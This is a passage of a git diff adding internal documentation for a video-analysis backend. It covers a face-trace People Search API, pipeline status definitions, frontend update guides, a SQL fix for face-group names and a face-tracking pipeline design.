`vlm_description` — VLM 人物外貌描述 +- `vlm_clothing` — VLM 衣著描述 +- `vlm_tags` — VLM 標籤陣列 +- `vlm_location` — VLM 地點 +- `vlm_setting` — VLM 場景設定 + +### Request Body + +```json +{ + "query": "Susan", + "file_uuid": "abc123", + "types": ["people"], + "page": 1, + "page_size": 20 +} +``` + +### Request Fields + +| Field | Type | Required | Description | +|-------|------|----------|-------------| +| `query` | string | ✅ Yes | 搜尋關鍵字 | +| `file_uuid` | string | ❌ Optional | 限制搜尋範圍 | +| `types` | string[] | ❌ Optional | `["chunk", "frame", "people"]` — 預設全部 | +| `page` | integer | ❌ Optional | 頁碼(預設 1) | +| `page_size` | integer | ❌ Optional | 每頁筆數(預設 20,最大 200) | + +### Response + +```json +{ + "query": "Susan", + "results": [ + { + "type": "person", + "file_uuid": "4655a0ab3c077e30c12b2298c2750650", + "trace_id": 9, + "external_id": "trace_9", + "name": "Susan", + "frame_count": 39, + "score": 0.95, + "start_time": null, + "end_time": null, + "key_frame": "key_frame.jpg", + "key_face": null + } + ], + "total": 18, + "page": 1, + "page_size": 20, + "has_more": false +} +``` + +--- + +## 3. PUT /api/v1/trace-profile(單筆改名) + +更新單一 face trace profile 的 name 和 metadata。 + +### Request Body + +```json +{ + "file_uuid": "4655a0ab3c077e30c12b2298c2750650", + "trace_id": 9, + "name": "Susan", + "properties": { "custom_key": "custom_value" }, + "key_frame": "path/to/key_frame.jpg", + "key_face": "path/to/key_face.jpg", + "aliases": ["Susie", "Sue"] +} +``` + +### Request Fields + +| Field | Type | Required | Description | +|-------|------|----------|-------------| +| `file_uuid` | string | ✅ Yes | 影片 UUID | +| `trace_id` | integer | ✅ Yes | Face trace ID | +| `name` | string | ❌ Optional | 新的 FS name | +| `properties` | object | ❌ Optional | 自訂屬性(合併更新) | +| `key_frame` | string | ❌ Optional | 關鍵幀路徑 | +| `key_face` | string | ❌ Optional | 關鍵人臉路徑 | +| `aliases` | string[] | ❌ Optional | 別名列表 | + +--- + +## 4. PUT /api/v1/trace-profile/group(批次改名) + +批次更新多個 face trace profiles 的 name。 + +### Request Body + +```json +{ + "file_uuid": "4655a0ab3c077e30c12b2298c2750650", + "trace_ids": [9, 22, 5], + "name": "Susan" +} +``` + +--- + +## 5. POST /api/v1/groups/merge(合併群組) + +將多個 group 的 traces 合併為一個 group name。 + +### Request Body + +```json +{ + "file_uuid": "4655a0ab3c077e30c12b2298c2750650", + "source_groups": ["Person_0", "Person_1"], + "target_group_name": "Susan" +} +``` + +--- + +## Error Responses + +### 400 Bad Request +```json +{ "error": "name is required" } +``` + +### 401 Unauthorized +``` +HTTP 401 (no body) — Missing or invalid API key +``` + +### 404 Not Found +```json +{ "error": "Profile not found" } +``` + +### 500 Internal Server Error +```json +{ "error": "DB error: connection refused" } +``` + +--- + +## 如何命名 Face Trace + +使用 profile API 為 face trace 命名: + +```bash +curl -X PUT "http://localhost:3002/api/v1/trace-profile" \ + -H "Authorization: Bearer " \ + -H "Content-Type: application/json" \ + -d '{ + "file_uuid": "4655a0ab3c077e30c12b2298c2750650", + "trace_id": 9, + "name": "Susan" + }' +``` + +命名後即可透過 People Search API 搜尋: + +```bash +curl "http://localhost:3002/api/v1/search/people?query=Susan" \ + -H "Authorization: Bearer " +``` + +--- + +## Pipeline 狀態定義 + +所有檔案的 status 由 `/api/v1/file/{file_uuid}/sync-status` 自動更新,依據 processor outputs 和功能就緒狀態判定。 + +| Status | 前端顯示 | 條件 | 啟用功能 | +|--------|---------|------|---------| +| `registered` | 📋 已註冊 | 0 processor outputs | 檔案註冊 | +| `scanning` | 🔍 掃描中 | 1-4/5 processor outputs | — | +| `keyword_ready` | 🔎 關鍵字可用 | sentence chunks > 0 | Smart Search | +| `semantic_ready` | 🧠 語意可用 | embedded chunks > 0 | Semantic Search | +| `face_mgmt_ready` | 🎭 臉部管理可用 | face_trace + trace_profiles + tkg_nodes(face_track) | People Search, Face Profile 讀寫, Face Group | +| `agent_ready` | 🤖 Agent 可用 | face_mgmt_ready + tkg_edges | Agent TKG Tools | +| `completed` | ✅ 完成 | 5/5 processors + 全部功能就緒 | — | + +### Face Management Ready 明確定義 + +`face_mgmt_ready` 表示檔案已具備完整臉部管理功能,需同時滿足以下四個條件: + +| 依賴項 | 檢查條件 | 說明 | 提供功能 | +|--------|---------|------|---------| +| **Face Qdrant Ready** | `_faces` collection 有 face points | Face embeddings 已存入 Qdrant | 臉部比對、相似度搜尋 | +| **Face Trace Ready** | `face_traced.json` 存在且有 traces | Face tracking 已完成 | 人臉軌跡資料 | +| **Face Profile Ready** | `trace_profiles` 有紀錄 | Profile 資料已建立 | 名字、VLM 註記、key_frame/key_face | +| **Face TKG Node Ready** | `tkg_nodes` 有 `face_track` nodes | TKG 圖譜節點已建立 | 臉部群組合併、關係查詢 | + +#### 檢查 SQL + +```sql +-- Face Qdrant Ready +SELECT COUNT(*) FROM _faces WHERE file_uuid = $1; -- > 0 + +-- Face Trace Ready +-- 檢查 face_traced.json 檔案存在且有 traces + +-- Face Profile Ready +SELECT COUNT(*) FROM trace_profiles WHERE file_uuid = $1; -- > 0 + +-- Face TKG Node Ready +SELECT COUNT(*) FROM tkg_nodes WHERE file_uuid = $1 AND node_type = 'face_track'; -- > 0 +``` + +#### 啟用功能清單 + +| 功能 | API Endpoint | 說明 | +|------|-------------|------| +| People Search | `GET /api/v1/search/people` | 搜尋已命名人臉 | +| Face Profile 讀寫 | `PUT /api/v1/trace-profile` | 更新名字、VLM 註記 | +| Face Group 合併 | `POST /api/v1/groups/merge` | 合併多個群組 | +| Face Trace 改名 | `PUT /api/v1/trace-profile` | 為單個 trace 命名 | +| Agent Face Search | Agent Tool: `face_profile_search` | Agent 搜尋人臉 | + +--- + +### 狀態依賴關係 + +``` +registered → scanning → keyword_ready → semantic_ready + ↓ + face_mgmt_ready → agent_ready → completed +``` + +### 每個階段對應的 Processor + +| 階段 | 必要 Processor | 產出 | +|------|---------------|------| +| `keyword_ready` | ASR, ASRX | sentence chunks | +| `semantic_ready` | keyword_ready + Vectorize | embedded chunks | +| `face_mgmt_ready` | Face, FaceCluster | trace_profiles (People Search + Face Management) | +| `agent_ready` | face_mgmt_ready + TKG Edges | tkg_edges | + diff --git a/docs_v1.0/API_WORKSPACE/modules/21_studio_team_guide.md b/docs_v1.0/API_WORKSPACE/modules/21_studio_team_guide.md new file mode 100644 index 0000000..71fd5c3 --- /dev/null +++ b/docs_v1.0/API_WORKSPACE/modules/21_studio_team_guide.md @@ -0,0 +1,199 @@ +# Studio Team API 變更指南 + +**Version**: 1.0 +**Date**: 2026-07-26 +**Doc Path**: `/Users/accusys/momentry_core/docs_v1.0/API_WORKSPACE/modules/21_studio_team_guide.md` +**目標**: 通知 Studio team 後端 API 狀態欄位變更,Momentry Studio 前端需配合更新 + +--- + +## 1. 概述 + +後端已將檔案狀態從技術術語改為**功能導向**名稱。Studio team 的 `~/momentry_studio/` 前端顯示邏輯需要更新。 + +**影響範圍:** +- 後端 API:`/Users/accusys/momentry_core/src/api/files.rs`(Core team 已修改) +- Studio 前端:`~/momentry_studio/`(需 Studio team 更新) + +--- + +## 2. 團隊職責 + +| 團隊 | 負責專案 | 目錄 | +|------|---------|------| +| **Core team** | Momentry Core 後端 | `~/momentry_core/` | +| **Studio team** | Momentry Studio 前端 | `~/momentry_studio/` | +| **Marcom team** | WordPress 網站 | `/Users/accusys/wordpress/` | + +--- + +## 3. API 變更 + +### `/api/v1/file/{file_uuid}/sync-status` 回傳格式 + +**POST** `/api/v1/file/{file_uuid}/sync-status` + +```json +{ + "success": true, + "file_uuid": "4655a0ab3c077e30c12b2298c2750650", + "status": "face_mgmt_ready", + "processors_complete": 4, + "processors_total": 5, + "worker": { + "has_job": true, + "job_status": "pending", + "current_processor": null, + "progress_total": 7, + "progress_current": 7, + "completed_processors": ["cut", "asr", "face", "ocr", "pose", "asrx", "face_cluster"], + "failed_processors": [], + "updated_at": "2026-07-24T21:26:06" + } +} +``` + +**無 job 的檔案:** +```json +{ + "success": true, + "file_uuid": "...", + "status": "registered", + "processors_complete": 0, + "processors_total": 5, + "worker": { + "has_job": false + } +} +``` + +### Worker 狀態說明 + +| 欄位 | 說明 | +|------|------| +| `has_job` | 是否有 monitor_job 紀錄 | +| `job_status` | pending / running / completed / failed | +| `current_processor` | 目前正在執行的 processor | +| `progress_total` | 總 processor 數量 | +| `progress_current` | 已完成的 processor 數量 | +| `completed_processors` | 已完成的 processor 列表 | +| `failed_processors` | 失敗的 processor 列表 | +| `updated_at` | 最後更新時間 | + +### 使用者可區分的情境 + +| 情境 | `job_status` | `current_processor` | 顯示建議 | +|------|-------------|-------------------|---------| +| **正在處理** | `running` | `face` | 🔄 正在執行 Face | +| **排隊等待** | `pending` | `null` | ⏳ 等待處理 | +| **已完成** | `completed` | `null` | ✅ Processor 完成 | +| **處理失敗** | `failed` | `face` | ❌ Face 失敗 | +| **從未提交** | `has_job=false` | - | 📋 僅註冊 | + +### 新狀態清單 + +| Status | 中文顯示 | 圖示 | 說明 | +|--------|---------|------|------| +| `registered` | 已註冊 | 📋 | 0 processor outputs | +| `scanning` | 掃描中 | 🔍 | 1-4/5 processor outputs | +| `keyword_ready` | 關鍵字可用 | 🔎 | sentence chunks > 0 | +| `semantic_ready` | 語意可用 | 🧠 | embedded chunks > 0 | +| `face_mgmt_ready` | 臉部管理可用 | 🎭 | trace_profiles + tkg_nodes > 0 | +| `agent_ready` | Agent 可用 | 🤖 | tkg_edges > 0 | +| `completed` | 已完成 | ✅ | 全部就緒 | + +### 已移除的舊狀態 + +| 舊狀態 | 新狀態 | +|--------|--------| +| `pending` | `registered` | +| `processing` | `scanning` | + +--- + +## 4. Studio 前端需修改項目 + +### 4.1 狀態顯示邏輯 + +**位置:** `~/momentry_studio/` 中處理檔案狀態顯示的元件 + +**修改前:** +```javascript +switch (file.status) { + case 'completed': return '✅ 已完成'; + case 'processing': return '🔄 處理中'; + case 'pending': return '⏳ 待處理'; + default: return '📦 未註冊'; +} +``` + +**修改後:** +```javascript +const statusMap = { + completed: { label: '已完成', icon: '✅', color: 'green' }, + agent_ready: { label: 'Agent 可用', icon: '🤖', color: 'orange' }, + face_mgmt_ready: { label: '臉部管理可用', icon: '🎭', color: 'cyan' }, + semantic_ready: { label: '語意可用', icon: '🧠', color: 'purple' }, + keyword_ready: { label: '關鍵字可用', icon: '🔎', color: 'green' }, + scanning: { label: '掃描中', icon: '🔍', color: 'blue' }, + registered: { label: '已註冊', icon: '📋', color: 'gray' }, +}; + +const display = statusMap[file.status] || { label: '未註冊', icon: '📦', color: 'gray' }; +return `${display.icon} ${display.label}`; +``` + +### 4.2 狀態過濾選項 + +**位置:** `~/momentry_studio/` 中檔案列表過濾元件 + +**移除:** `pending`, `processing` +**新增:** `registered`, `scanning`, `keyword_ready`, `semantic_ready`, `face_mgmt_ready`, `agent_ready` + +--- + +## 5. Face Management Ready 明確定義 + +`face_mgmt_ready` 表示檔案已具備完整臉部管理功能,需同時滿足以下四個條件: + +| 依賴項 | 檢查條件 | 說明 | +|--------|---------|------| +| **Face Qdrant Ready** | `_faces` collection 有 face points | Face embeddings 已存入 Qdrant | +| **Face Trace Ready** | `face_traced.json` 存在且有 traces | Face tracking 已完成 | +| **Face Profile Ready** | `trace_profiles` 有紀錄 | Profile 資料已建立 | +| **Face TKG Node Ready** | `tkg_nodes` 有 `face_track` nodes | TKG 圖譜節點已建立 | + +--- + +## 6. 狀態依賴關係 + +``` +registered → scanning → keyword_ready → semantic_ready + ↓ + face_mgmt_ready → agent_ready → completed +``` + +--- + +## 7. 測試 API + +```bash +# 取得所有檔案 +curl http://localhost:3002/api/v1/files \ + -H "Authorization: Bearer " + +# 觸發狀態同步 +curl -X POST http://localhost:3002/api/v1/file/{file_uuid}/sync-status \ + -H "Authorization: Bearer " +``` + +--- + +## 8. 參考文件 + +| 文件 | 完整路徑 | +|------|---------| +| People API | `/Users/accusys/momentry_core/docs_v1.0/API_WORKSPACE/modules/19_people_api.md` | +| Status Unification | `/Users/accusys/momentry_core/docs_v1.0/API_WORKSPACE/modules/20_status_unification.md` | +| Studio Team Guide | `/Users/accusys/momentry_core/docs_v1.0/API_WORKSPACE/modules/21_studio_team_guide.md` | +| AGENTS.md | `/Users/accusys/momentry_core/AGENTS.md` | diff --git a/docs_v1.0/API_WORKSPACE/modules/22_studio_pipeline_changes.md b/docs_v1.0/API_WORKSPACE/modules/22_studio_pipeline_changes.md new file mode 100644 index 0000000..f985d96 --- /dev/null +++ b/docs_v1.0/API_WORKSPACE/modules/22_studio_pipeline_changes.md @@ -0,0 +1,207 @@ +# Studio Team 配套修改指南 + +**Version**: 1.0 +**Date**: 2026-07-26 +**Doc Path**: `/Users/accusys/momentry_core/docs_v1.0/API_WORKSPACE/modules/22_studio_pipeline_changes.md` +**目標**: 通知 Studio team 後端 Pipeline 狀態變更,前端需配合更新 + +--- + +## 1. 概述 + +後端已完成以下修改: +1. 移除 `identity_agent`,替換為 `face_dedup`(Face Deduplication) +2. 重構 `sync_file_status` 邏輯:檢查 JSON 存在 + DB 一致性 +3. Pipeline 進度階段重新分配 + +**影響範圍:** +- 檔案狀態顯示(status) +- Pipeline 進度顯示(progress stages) +- 統計 API 回傳格式 + +--- + +## 2. 檔案狀態變更 + +### 新狀態清單 + +| Status | 中文顯示 | 圖示 | 說明 | +|--------|---------|------|------| +| `registered` | 已註冊 | 📋 | 尚未開始處理 | +| `scanning` | 掃描中 | 🔍 | 處理中(JSON 存在但 DB 不一致) | +| `completed` | 已完成 | ✅ | 所有 processor 完成且 DB 一致 | +| `agent_ready` | Agent 可用 | 🤖 | TKG edges 存在 | + +### 已移除的狀態 + +| 舊狀態 | 新狀態 | 說明 | +|--------|--------|------| +| `processing` | `scanning` | 更明確表示正在處理 | +| `pending` | `registered` | 尚未開始 | +| `face_mgmt_ready` | `completed` | 最終狀態統一為 completed | + +### 狀態判斷邏輯 + +| 條件 | 狀態 | +|------|------| +| 所有 JSON 存在且 DB 一致 | `completed` | +| 部分 JSON 存在但不一致 | `scanning` | +| 無 JSON 存在 | `registered` | +| TKG edges 存在 | `agent_ready` | + +--- + +## 3. Pipeline 進度階段變更 + +### 修改前(7 個 stage) + +``` +Processors (30%) → Rule1 (5%) → Face Tracing (5%) → identity_agent (10%) → TKG Nodes (20%) → TKG Edges (15%) → Rule2 (15%) +``` + +### 修改後(7 個 stage) + +``` +Processors (30%) → Rule1 (5%) → Face Tracing (5%) → face_dedup (10%) → TKG Nodes (20%) → TKG Edges (15%) → Rule2 (15%) +``` + +### 需要修改的前端元件 + +| 元件 | 修改內容 | +|------|---------| +| Pipeline Progress Bar | 移除 `identity_agent`,新增 `face_dedup` | +| Stage Labels | 更新 stage 名稱 | +| Overall Progress | 重新計算權重 | + +--- + +## 4. API 變更 + +### `/api/v1/file/{file_uuid}/sync-status` + +**回傳格式變更:** + +**修改前:** +```json +{ + "status": "face_mgmt_ready", + "processors_complete": 5, + "processors_total": 5, + "worker": { ... } +} +``` + +**修改後:** +```json +{ + "success": true, + "file_uuid": "...", + "status": "completed", + "processors": { + "asr": { "json_exists": true, "consistent": true }, + "asrx": { "json_exists": true, "consistent": true }, + "ocr": { "json_exists": true, "consistent": true }, + "pose": { "json_exists": true, "consistent": true }, + "cut": { "json_exists": true, "consistent": true }, + "face": { "json_exists": true, "consistent": true }, + "face_cluster": { "json_exists": true, "consistent": true } + }, + "worker": { ... } +} +``` + +### `/api/v1/file/{file_uuid}/stats` + +**回傳格式變更:** + +**修改前:** +```json +{ + "identity_agent": { + "clusters": 0, + "identities_created": 0, + "tmdb_matches": 0, + "speaker_bindings": 0, + "confirmations": 0 + } +} +``` + +**修改後:** +```json +{ + "face_dedup": { + "clusters": 5, + "face_tracks": 24, + "consistent": true + } +} +``` + +--- + +## 5. Studio 前端需修改項目 + +### 5.1 狀態顯示邏輯 + +**位置:** Studio 前端檔案列表元件 + +**修改前:** +```javascript +const statusLabels = { + 'completed': '✅ 已完成', + 'processing': '🔄 處理中', + 'pending': '⏳ 待處理', + 'face_mgmt_ready': '🎭 臉部管理可用', + 'agent_ready': '🤖 Agent 可用' +}; +``` + +**修改後:** +```javascript +const statusLabels = { + 'completed': '✅ 已完成', + 'scanning': '🔍 掃描中', + 'registered': '📋 已註冊', + 'agent_ready': '🤖 Agent 可用' +}; +``` + +### 5.2 Pipeline 進度顯示 + +**位置:** Studio 前端 Pipeline Progress 元件 + +**修改項目:** +1. 移除 `identity_agent` stage +2. 新增 `face_dedup` stage +3. 更新 stage 名稱映射 + +### 5.3 統計面板 + +**位置:** Studio 前端檔案統計面板 + +**修改項目:** +1. 移除 `Identity Agent` 區塊 +2. 新增 `Face Deduplication` 區塊 +3. 顯示欄位:`clusters`, `face_tracks`, `consistent` + +--- + +## 6. 測試清單 + +- [ ] 檔案列表狀態顯示正確 +- [ ] Pipeline 進度階段正確顯示 +- [ ] Overall Progress 計算正確 +- [ ] 統計面板 Face Dedup 區塊顯示正確 +- [ ] sync-status API 回傳格式解析正確 +- [ ] stats API 回傳格式解析正確 + +--- + +## 7. 參考文件 + +| 文件 | 完整路徑 | +|------|---------| +| Studio Team Guide | `/Users/accusys/momentry_core/docs_v1.0/API_WORKSPACE/modules/21_studio_team_guide.md` | +| People API | `/Users/accusys/momentry_core/docs_v1.0/API_WORKSPACE/modules/19_people_api.md` | +| Pipeline Changes | `/Users/accusys/momentry_core/docs_v1.0/API_WORKSPACE/modules/22_studio_pipeline_changes.md` | diff --git a/docs_v1.0/API_WORKSPACE/modules/23_studio_face_group_name_fix.md b/docs_v1.0/API_WORKSPACE/modules/23_studio_face_group_name_fix.md new file mode 100644 index 0000000..b0f5c3e --- /dev/null +++ b/docs_v1.0/API_WORKSPACE/modules/23_studio_face_group_name_fix.md @@ -0,0 +1,114 @@ +# Studio Fix: Face Group Name 讀寫不一致 + +**Date**: 2026-07-27 +**Author**: Studio Team +**Status**: ✅ 已修復並部署 + +--- + +## 問題描述 + +Studio 前端在 Face 頁面 rename group name 後,離開再回來時名稱未更新。但 People Search 可以查到新名稱。 + +### 根因 + +**寫入**和**讀取**走了不同的資料來源: + +| 操作 | API Endpoint | 實際讀寫欄位 | +|------|-------------|------------| +| **寫入 (rename)** | `PUT /api/v1/trace-profile/group` | `trace_profiles.name` | +| **讀取 (卡片顯示)** | `GET /api/v1/file/:uuid/face-groups` | `tkg_nodes.label` | + +`trace_profiles.name` 和 `tkg_nodes.label` 是兩張獨立的表/欄位(見 `19_people_api.md`),rename 只更新了 `trace_profiles.name`,但卡片顯示讀的是 `tkg_nodes.label`。 + +--- + +## 修復內容 + +### 修改檔案 +`/Users/accusys/momentry_core/src/api/profile.rs` — `get_face_groups_handler` (line 552-591) + +### 改前 SQL +```sql +SELECT label, properties FROM tkg_nodes +WHERE file_uuid = $1 AND node_type = 'face_track' +ORDER BY (properties->>'trace_id')::int +``` + +### 改後 SQL +```sql +SELECT COALESCE(tp.name, tn.label) as name, tn.properties +FROM tkg_nodes tn +LEFT JOIN trace_profiles tp ON tp.file_uuid = tn.file_uuid + AND tp.trace_id = (tn.properties->>'trace_id')::int +WHERE tn.file_uuid = $1 AND tn.node_type = 'face_track' +ORDER BY (tn.properties->>'trace_id')::int +``` + +### Rust 程式碼變更 +```diff + pub async fn get_face_groups_handler(...) { + let tkg_table = schema::table_name("tkg_nodes"); ++ let tp_table = schema::table_name("trace_profiles"); + + let rows: Vec<(String, serde_json::Value)> = sqlx::query_as(&format!( +- "SELECT label, properties FROM {} \ +- WHERE file_uuid = $1 AND node_type = 'face_track' \ +- ORDER BY (properties->>'trace_id')::int", +- tkg_table ++ "SELECT COALESCE(tp.name, tn.label) as name, tn.properties \ ++ FROM {} tn \ ++ LEFT JOIN {} tp ON tp.file_uuid = tn.file_uuid \ ++ AND tp.trace_id = (tn.properties->>'trace_id')::int \ ++ WHERE tn.file_uuid = $1 AND tn.node_type = 'face_track' \ ++ ORDER BY (tn.properties->>'trace_id')::int", ++ tkg_table, tp_table + )) + ... +- for (label, properties) in rows { ++ for (name, properties) in rows { + ... +- if label.starts_with("Face Trace ") || label.starts_with("Trace ") { ++ if name.starts_with("Face Trace ") || name.starts_with("Trace ") { + unassigned.push(trace_id); + } else { +- groups.entry(label).or_default().push(trace_id); ++ groups.entry(name).or_default().push(trace_id); + } + } + } +``` + +--- + +## 影響範圍 + +| 項目 | 影響 | +|------|------| +| **Face 頁面卡片顯示** | ✅ 現在從 `trace_profiles.name` 讀取,rename 後立即生效 | +| **People Search** | 不受影響(本來就查 `trace_profiles.name`) | +| **未命名 traces** | 不受影響(`COALESCE` fallback 到 `tkg_nodes.label`,如 `Person_0`) | +| **Cluster Agent 初始化** | 不受影響(初始化時兩邊都寫入相同值) | + +--- + +## 注意事項(給 Core Team) + +1. **未來如果有需要同時更新 `tkg_nodes.label` 的情境**(例如 graph 顯示需要),請注意 `PUT /api/v1/trace-profile/group` 目前只更新 `trace_profiles.name` +2. **建議**:如果 `tkg_nodes.label` 和 `trace_profiles.name` 應該保持一致,可以考慮: + - 方案 A(目前做法):讀取端用 `COALESCE` 優先取 `trace_profiles.name` + - 方案 B:寫入端同時更新兩個欄位(需要改 `update_trace_profile_group_handler`) +3. **`merge_groups_handler`** 目前同時更新 `trace_profiles.name` 和 `tkg_nodes.label`(line 278-310),行為正確,不需要改 + +--- + +## 驗證 + +```bash +# 測試 face-groups endpoint 正確回傳 rename 後的名稱 +curl -s "http://localhost:3002/api/v1/file/4655a0ab3c077e30c12b2298c2750650/face-groups" \ + -H "X-API-Key: " | jq '.face_groups[] | {name, trace_count}' + +# 預期輸出包含 "Susan"(已 rename 的 group) +# { "name": "Susan", "trace_count": 7 } +``` diff --git a/docs_v1.0/API_WORKSPACE/modules/99_incomplete.md b/docs_v1.0/API_WORKSPACE/modules/99_incomplete.md index 03d22eb..f0204be 100644 --- a/docs_v1.0/API_WORKSPACE/modules/99_incomplete.md +++ b/docs_v1.0/API_WORKSPACE/modules/99_incomplete.md @@ -166,7 +166,7 @@ These endpoints are defined in source code but not mounted in the router: | Endpoint | Notes | |----------|-------| -| `/api/v1/search/persons` | Defined but not mounted | +| `/api/v1/search/people` | ✅ Mounted | | `/api/v1/who` | Defined but not mounted | | `/api/v1/who/candidates` | Defined but not mounted | @@ -179,7 +179,7 @@ These endpoints are defined in source code but not mounted in the router: | Undocumented | 3 (resource management) | | Partially documented | 5 (5W1H ×3, identity agent ×2) | | Stub/not functional | 5 (visual search) | -| Defined but unmounted | 3 (persons, who, who/candidates) | +| Defined but unmounted | 2 (who, who/candidates) | | **Total** | **16** | --- diff --git a/docs_v1.0/DESIGN/AlwaysProduce_Processing_Contract.md b/docs_v1.0/DESIGN/AlwaysProduce_Processing_Contract.md new file mode 100644 index 0000000..82c6115 --- /dev/null +++ b/docs_v1.0/DESIGN/AlwaysProduce_Processing_Contract.md @@ -0,0 +1,148 @@ +--- +title: Always-Produce Processing Contract +version: 1.0 +date: 2026-07-24 +author: OpenCode +status: approved +--- + +# Always-Produce Processing Contract + +## Scope + +| Field | Value | +|-------|-------| +| Scope | All frame-based processors (face, pose, appearance, face_cluster, face_trace, etc.) | +| Status | Approved | +| Applies to | Python processors + Rust Worker | +| Related docs | `DESIGN/Processor_Module_V1.0.md`, `DESIGN/Redis_Progress_Reporting_V1.0.md`, `DESIGN/Worker_Health_Check_Mechanism.md` | + +## 1. Frame-Scan Model + +Video processing is fundamentally frame-based: a processor scans from frame 0 to the last frame. + +``` +Scan start → frame 0 → frame 1 → ... → frame N → scan complete + ↓ ↓ ↓ ↓ + Redis Redis Redis {uuid}.{p}.json + progress progress progress (final record) +``` + +### Key Rules + +1. **Progress** = which frame has been scanned so far (`current_frame / total_frames`) +2. **Complete** = scanned to the last frame (proved by `.json` existing) +3. **Result** = always written, even if 0 detections found + +## 2. Always-Produce Rule + +### Principle + +> Every processor MUST write its `{uuid}.{processor}.json` output file after completing its scan, **regardless of whether any results were found**. + +### Rationale + +The `.json` file serves dual purpose: +- **Proof of completion**: Worker uses `output_path.exists()` (line 580 of `job_worker.rs`) to skip already-finished processors +- **Downstream dependency**: Subsequent processors check this file for input + +Without the Always-Produce rule: +- Zero-result processors leave no `.json` → Worker retries infinitely → deadlock +- Stuck jobs block downstream stages (Rule 1/2/3 ingestion, TKG build) + +### Format + +All processor JSON outputs MUST include: + +```json +{ + "status": "has_faces" | "no_faces" | "no_face_json" | "no_embeddings" | "success" | "error_*", + "file_uuid": "", + ...processor-specific fields (empty arrays when zero results) +} +``` + +Example — face cluster with no faces: + +```json +{ + "status": "no_faces", + "file_uuid": "9781de6d...", + "clusters": [], + "frames": [] +} +``` + +### Processor Checklist + +| Processor | Always-Produce? | Status field on 0 result | +|-----------|----------------|--------------------------| +| `face.py` | ✅ Yes | `"no_faces"` | +| `store_traced_faces.py` | ✅ Yes (already writes) | `"no_faces"` | +| `fast_face_clustering_processor.py` | ❌ **FIX NEEDED** | Early returns, no file written | +| `pose_processor*.py` | ✅ Yes | `"no_faces"` | +| `appearance_processor*.py` | ✅ Yes | `"no_faces"` | + +## 3. Redis Progress During Scan + +### Purpose + +Live frame progress is published to Redis so the QC modal can display real-time status ("scanning frame 1234/5678"). + +### Mechanism + +Use `redis_publisher.py` (`RedisPublisher` class) which publishes to Redis channel `{prefix}progress:{uuid}`: + +```python +from redis_publisher import RedisPublisher + +pub = RedisPublisher(file_uuid) + +# During scan, per batch: +pub.progress("face_cluster", current_frame, total_frames, f"Scanning frame {current_frame}") + +# On completion: +pub.complete("face_cluster", f"Done: {cluster_count} clusters") +``` + +### Frequency + +- **Frame-based processors**: publish every N frames (batch/buffer flush) +- **Non-frame processors** (e.g., clustering): publish at meaningful milestones + +## 4. Worker Heartbeat + +### Problem + +`health.rs` currently uses `check_process_running("worker")` which relies on `ps aux | grep momentry.*worker`. This is unreliable: +- Zombie processes show as "running" +- Stale matches from unrelated processes + +### Fix + +Worker writes a Redis HMSET `{prefix}health` with EXPIRE = `3 × poll_interval_secs` (default: 15s) in every `poll_and_process()` cycle. + +Health endpoint checks: +1. Redis key `{prefix}health` exists +2. Key has remaining TTL > 0 +3. Key's `status` field is `"healthy"` or `"throttled"` + +If Redis key missing or expired → `worker_alive: false`. + +## 5. Implementation Plan + +| Step | File | Change | +|------|------|--------| +| 1 | `fast_face_clustering_processor.py` | Always-Produce for 3 early returns + Redis progress | +| 2 | `store_traced_faces.py` | Add Redis progress (optional) | +| 3 | `job_worker.rs` | Add EXPIRE after health HMSET | +| 4 | `health.rs` | Replace `check_process_running("worker")` with Redis TTL check | +| 5 | `processing.rs` | (Optional) Reject trigger if Worker not alive | + +--- + +## Version History + +| Version | Date | Author | Changes | +|---------|------|--------|---------| +| 1.0 | 2026-07-24 | OpenCode | Initial specification | diff --git a/docs_v1.0/DESIGN/FACE_TRACKING_PIPELINE_V1.0.md b/docs_v1.0/DESIGN/FACE_TRACKING_PIPELINE_V1.0.md new file mode 100644 index 0000000..a46fe0c --- /dev/null +++ b/docs_v1.0/DESIGN/FACE_TRACKING_PIPELINE_V1.0.md @@ -0,0 +1,341 @@ +--- +title: Face Tracking Pipeline Structure +version: 1.0 +date: 2026-07-22 +author: OpenCode +status: Active +--- + +# Face Tracking Pipeline — Structure Design + +## Overview + +``` +Video + │ + ▼ +┌──────────────────────────────┐ +│ Stage 1: Face Detection │ face_processor.py +│ swift_face (Apple Vision) │ → {uuid}.face.json +│ CoreML FaceNet embedding │ → Qdrant _faces (initial) +└──────────────────────────────┘ + │ + ▼ +┌──────────────────────────────┐ +│ Stage 2: Face Tracking │ store_traced_faces.py +│ face_tracker.py (IoU) │ → {uuid}.face_traced.json +│ trace_id assignment │ → Qdrant _faces (trace_id update) +└──────────────────────────────┘ + │ + ▼ +┌──────────────────────────────┐ +│ Stage 3: Trace Profile │ backfill_trace_profiles.py +│ Qdrant _faces 分組 │ → output/{uuid}/trace_{N}/ +│ key_frame + key_face │ trace_profile.json +└──────────────────────────────┘ + │ + ▼ +┌──────────────────────────────┐ +│ Stage 4: TKG Nodes │ tkg.rs +│ Qdrant _faces → trace_id │ → tkg_nodes (face_track, etc.) +└──────────────────────────────┘ +``` + +--- + +## Stage 1: Face Detection + +**Script**: `scripts/face_processor.py` + +### Flow + +1. `swift_face` (Swift/Apple Vision/ANE) → bbox detection per sampled frame +2. `cv2` opens video, crops face from bbox +3. CoreML FaceNet → 512D embedding per face +4. Output: `{uuid}.face.json` +5. Push embeddings to Qdrant `_faces` collection + +### Output Format: `{uuid}.face.json` + +```json +{ + "status": "has_faces", + "frame_count": 563, + "fps": 29.97, + "total_faces": 1200, + "frames": [ + { + "frame": 743, + "timestamp": 24.78, + "faces": [ + { + "x": 892, // int, pixel + "y": 313, // int, pixel + "width": 78, // int, pixel + "height": 78, // int, pixel + "confidence": 0.733, + "pose_angle": { "angle": "frontal", "roll": 0.77, "yaw": -1.24, "pitch": 0.23 }, + "landmarks": { "right_eye": [...], "nose": [...], "left_eye": [...] }, + "lips": { "inner_lips": [...], "outer_lips": [...] } + } + ] + } + ] +} +``` + +**Key points**: +- bbox is **pixel integer** from Apple Vision, never modified +- face.json uses **list format** (not dict) +- Sampling at ~8Hz (`sample_interval = round(fps / 8)`) + +### Qdrant Initial Push + +`push_face_embeddings_batch()` in `qdrant_faces.py`: + +```python +payload = { + "file_uuid": file_uuid, + "frame": frame_num, + "trace_id": face_idx, # ⚠️ frame-internal index (0, 1, 2...), NOT tracking trace_id + "bbox": {"x": x, "y": y, "width": w, "height": h}, # int pixel + "confidence": 0.5, + "identity_id": None, + "identity_uuid": None, + "stranger_id": None, +} +``` + +**Important**: `trace_id` at this stage is `face_idx` (index within the frame), used only as a temporary placeholder. It gets 